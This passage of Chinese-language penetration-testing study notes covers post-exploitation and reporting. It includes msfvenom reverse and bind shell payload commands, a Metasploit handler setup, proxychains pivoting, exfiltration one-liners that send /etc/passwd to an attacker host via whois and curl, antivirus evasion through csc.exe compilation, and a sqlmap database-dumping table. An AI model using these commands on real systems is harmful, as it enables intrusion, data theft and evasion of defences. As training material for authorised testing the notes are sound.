nc -lvnp [PORT]
```
* 新增隱藏帳號
### 取得TTY Shell
* 當 reverse shell 建立連線後,卻發現shell的使用受到限制。
* 可利用[spawing tty shell](https://github.com/ahmetgurel/Pentest-Hints/blob/master/Spawning%20a%20TTY%20Shell.md)來取得更完整的shell。
### C2 Server建置
* 在維持存取權限的階段,攻擊者會嘗試鞏固將已取得控制權的機器連回自己的C2 Server來保持自己對這台機器的連線控制權(Persistence)
* cobalt strike (商業版)
* beacon與規避防毒機制很完善。
* [msfvenom](https://docs.metasploit.com/docs/using-metasploit/basics/how-to-use-msfvenom.html)
* 專門產生metasploit payload的工具
```bash
# 語法
msfvenom -p <payload_type>
LHOST=<listen_ip>
LPORT=<listen_port>
-f <file_type> > <output_filename>
# Windows payload
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.3 LPORT=443
-f exe > shell.exe
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.3 LPORT=443
-f exe > reverse.exe
msfvenom -p windows/meterpreter/bind_tcp LHOST=192.168.1.3 LPORT=443
-f exe > bind.exe
# Linux payload
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.3 LPORT=443
-f elf > reverse.elf
msfvenom -p linux/x86/meterpreter/shell_reverse_tcp LHOST=192.168.1.3 LPORT=443
-f elf > shell.elf
# PHP
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.3 LPORT=443
-f raw > shell.php
# ASP/ASPX
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.3 LPORT=443
-f asp > shell.asp
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.3 LPORT=443
-f aspx > shell.aspx
# JSP
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.3 LPORT=443
-f raw > shell.jsp
```
* metasploit的handler
* 負責處理接收Client端payload回傳連線的模組
```bash
msfconsole
# 第一步驟:使用模組
use exploit/multi/handler
# 第二步驟:設定參數
set lhost <IP>
set lport <PORT>
set payload windows/meterpreter/reverse_tcp
# 第三步驟:開始執行
exploit
```
### Port Forwarding
> [SSH Tunneling (Port Forwarding) 詳解](https://johnliu55.tw/ssh-tunnel.html)
> [SSH Tunneling 教學 - Local Port Forwarding, Remote Port Forwarding](https://youtu.be/9bsvYo1a-mk?si=tOSdQ7elUOqeNiPn)
* 不管是inbound或outbound的防火牆政策,只要有開一個可以用的埠(Port),運用Port forwarding就等於全通。
* 類型
* Local port forwarding
* Remote port forwarding
* Dynamic port forwarding
### 內網滲透工具 - proxychains
* 在橫向移動與內網滲透中常使用的proxy工具,於Linux命令列中執行操作,可搭配dynamic port forwarding
* 預設路徑: `/etc/proxychains.conf`
* 使用方式: `proxychains <TCP類型的網路指令>`
> proxychains nmap <IP位址>
* [proxychains4](https://feifei.tw/proxychains4/)
* [如何在網路上不留痕跡- proxychains](https://steemit.com/cn/@antonsteemit/proxychains)
* [CentOS 7 安裝 proxychains](https://carlislebear.blogspot.com/2016/05/centos-7-install-proxychains.html)
### 隱密的傳送資料
* 在組織內網中已取得了一些機敏資料後,可透過一些容易穿透防護設備的方式將資料傳送出去
```bash
# Attacker server
nc -l -v -p 53 | sed "s/ //g" | base64 -d
# Victim client
whois -h $attackerIP -p 53 `cat /etc/passwd` | base64
# Attacker server
ncat --ssl -vlp 53
# Victim client
curl https://attackerIP:53/ -F 'a=@/etc/passwd' -k
```
* 透過dns傳送資料參考工具
* [dnscat2](https://github.com/iagox86/dnscat2)
* [lodine](https://github.com/yarrick/iodine)
* [dns2tcp](https://github.com/alex-sector/dns2tcp)
* 存放後門webshell
### C#編譯器
* 利用csc.exe將C#的程式碼編譯成需要的reverse shell或惡意工具來繞過防毒軟體。
```
<path>\csc.exe -out output.exe code.cs
```
## 整理漏洞與撰寫報告
* 記錄執行測試的過程
> 目的:未來可供稽核驗證、保護測試人員、供後續報告撰寫使用。 (資安職能考題-複選)
* 全程桌面錄影
* 紀錄所操作的每一行指令
> [Tmux Logging](https://github.com/tmux-plugins/tmux-logging):進行指令log保存的套件工具 (資安職能考題)
* 文件撰寫重點
* 依據報告內容,==非技術人員及相關工作人員也能復現漏洞==
* 使用的exploit的出處與連結
* 註明修改了exploit的哪個地方,並用顯眼的註記方式強調
* 執行的指令步驟及圖片,並解釋其目的與原因
* [OSCP pentest report sample](https://help.offsec.com/hc/en-us/articles/360040165632-OSCP-Exam-Guide)
## (補充)資料庫列舉
> [官方文件參照](https://dev.mysql.com/doc/refman/8.3/en/information-schema-table-reference.html)
> 可能搭配union語法使用,將資料渲染到頁面上。
SQL語法與SQLMAP工具對照表
| | SQL語法 | SQLMAP指令工具 |
| ---------- | -------------------------------------------------------- | -------------------------------------- |
| 列舉資料庫 | select schema_name <br>from information_schema.schemata;<br><br>SELECT DISTINCT owner <br>FROM all_tables; | `sqlmap -u "攻擊目標網址" --batch dbs` |
| 列出個別資料庫裡的資料表 | select table_name<br>from information_schema.tables<br>where table_schema='資料庫名稱'; <br><br>SELECT TABLE_NAME<br>FROM ALL_TABLES<br>WHERE OWNER='資料庫名稱';|`sqlmap -u "攻擊目標網址" --batch -D 資料庫名稱 --tables`|
| 列出資料表裡的欄位名稱 | select column_name <br>from information_schema.columns <br>where table_schema='資料庫名稱' and table_name='資料表名稱';<br><br>SELECT COLUMN_NAME <br>FROM ALL_TAB_COLUMNS <br>WHERE OWNER='資料庫名稱' AND TABLE_NAME='資料表名稱';|`sqlmap -u "攻擊目標網址" --batch -D 資料庫名稱 -T 資料表名稱 --columns`|
| 取得資料表內容 | select * <br>from 資料庫名稱.資料表名稱;|`sqlmap -u "攻擊目標網址" --batch -D 資料庫名稱 -T 資料表名稱 --dump`|
## 相關工具
* [CyberChef](https://gchq.github.io/CyberChef/)
* [Online Tools](https://emn178.github.io/online-tools/)
## 相關連結
* [Weekly Top5 Hacker-Relevant Vulnerabilities](https://blog.ruhrsecurity.com/posts/weekly-top-5-vulnerabilities/)
* [Payloads All The Things](https://swisskyrepo.github.io/PayloadsAllTheThings/)
* [Exploit Notes](https://exploit-notes.hdks.org/)
* [Hacking Tools Cheat Sheet](https://github.com/CompassSecurity/Hacking_Tools_Cheat_Sheet)
* [Red Team Notes](https://www.ired.team/)
* [Pentest-Hints](https://github.com/ahmetgurel/Pentest-Hints)
* [滲透測試實務](https://hackmd.io/@ewater/Penetration_Testing_2022)
* [Cyber Security Mindmap](https://github.com/Ignitetechnologies/Mindmap/)
* [Pikachu靶場](https://github.com/zhuifengshaonianhanlu/pikachu)
* 確認台北時間 (截圖取證時用)
* https://time.is/zh_tw/
* 確認外網IP的線上工具 (截圖取證時用)
* https://ipinfo.io/ip
* https://ip.sb/
* https://myip.com.tw/
* https://www.whatismyip.com.tw/tw/
* https://api.myip.com/ (如果開ipv6,會只顯示ipv6)
* https://ifconfig.me/ (如果開ipv6,會只顯示ipv6)